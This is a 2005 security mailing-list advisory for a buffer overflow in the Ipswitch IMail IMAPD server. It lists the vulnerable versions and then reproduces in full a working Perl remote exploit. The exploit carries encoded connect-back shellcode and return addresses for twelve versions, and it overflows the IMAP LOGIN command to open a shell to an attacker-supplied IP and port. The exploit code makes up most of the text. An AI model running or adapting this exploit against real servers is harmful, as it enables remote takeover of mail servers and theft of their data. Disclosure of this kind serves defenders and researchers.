[EXPL] IpSwitch IMAIL Server IMAPD Root Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 08/10/05
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To: list@securiteam.com Date: 10 Aug 2005 15:16:19 +0200
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IpSwitch IMAIL Server IMAPD Root Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.ipswitch.com/products/collaboration/index.asp> Ipswitch
Collaboration Suite (ICS) "provides e-mail and real-time collaboration,
calendar and contact list sharing, and protection from spam and viruses,
all delivered in an easy to use package designed with the unique needs of
small and medium sized businesses in mind".
Ipswitch IMail is vulnerable to buffer overflow vulnerabilities, allowing
remote attackers to execute arbitrary code on the server.
DETAILS
Vulnerable Systems:
* Ipswitch IMAIL Server IMAPD version 7.04
* Ipswitch IMAIL Server IMAPD version 7.07
* Ipswitch IMAIL Server IMAPD version 7.13
* Ipswitch IMAIL Server IMAPD version 7.15
* Ipswitch IMAIL Server IMAPD versions 8.00/8.01/8.02/8.03
* Ipswitch IMAIL Server IMAPD version 8.04
* Ipswitch IMAIL Server IMAPD version 8.05 No hotfix
* Ipswitch IMAIL Server IMAPD versions 8.05HF1/8.05HF2/8.05HF3
* Ipswitch IMAIL Server IMAPD version 8.10
* Ipswitch IMAIL Server IMAPD version 8.11
* Ipswitch IMAIL Server IMAPD versions 8.12/8.13/8.14
* Ipswitch IMAIL Server IMAPD version 8.15
Exploit:
# IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope
# June 2005
# Confidential!
use IO::Socket;
# 316 bytes
$cbsc =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49"
"\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2"
"\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49"
"\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2"
"\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92"
"\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2"
"\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1"
"\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69"
"\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B"
"\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93"
"\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D"
"\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE"
"\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83"
"\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1"
"\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49"
"\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01"
"\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7"
"\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68"
"\xA2\x25\xBB\x04\xBB";
$numtargets = 12;
@targets =
(
["Ipswitch IMAIL Server IMAPD 7.04", "\x5F\x2E\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.07", "\x3F\x34\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.13", "\x33\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.15", "\x53\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03", "\x53\x36\x01\x10",
1],
["Ipswitch IMAIL Server IMAPD 8.04", "\x73\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX", "\xB3\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3",
"\x03\x37\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.10", "\xfe\xf9\x01\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.11", "\x8e\x02\x02\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14", "\x2e\x0b\x02\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.15", "\x0e\x0e\x02\x10", 0]
);
print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n";
if ($#ARGV ne 3) {
print "usage: imail.pl target targettype yourip yourport\n\n";
for ($i=0; $i<$numtargets; $i++) {
print " [".$i."]...". $targets[$i][0]. "\r\n";
}
exit(0);
}
$tt=$ARGV[1];
$ret = $targets[$tt][1];
$cbip=$ARGV[2];
$cbport=$ARGV[3];
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
$a1 = chr(ord($a1) ^ 0xc2);
$a2 = chr(ord($a2) ^ 0xc2);
$a3 = chr(ord($a3) ^ 0xc2);
$a4 = chr(ord($a4) ^ 0xc2);
substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);
($p1, $p2) = split(//, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1) ^ 0xc2);
$p2 = chr(ord($p2) ^ 0xc2);
substr($cbsc, 118, 2, $p1 . $p2);
print "[*] $ARGV[0]\n";
print "[*] ".$targets[$tt][0]."\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '143',
Proto => 'tcp');
$findsc="\x83\xc0\x04\x81\x38\x53\x45\x58".
"\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0";
if ($targets[$tt][2] eq 0) {
$a="@" . "SEXY" . $cbsc . "A" x 358 . "\xeb\x04" . $ret . "AAAA" .
$findsc . "A" x 1000; # IMAIL > 8.00
}
if ($targets[$tt][2] eq 1) {
$a="@" . "SEXY" . $cbsc . "A" x 366 . "\xeb\x04" . $ret . "AAAA" .
$findsc . "A" x 1000; # IMAIL 8.00
}
print $sock "a001 LOGIN \"" . $a . "\" password\r\n";
while(<$sock>) {
print;
}
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/id.php?id=1124>
http://www.milw0rm.com/id.php?id=1124
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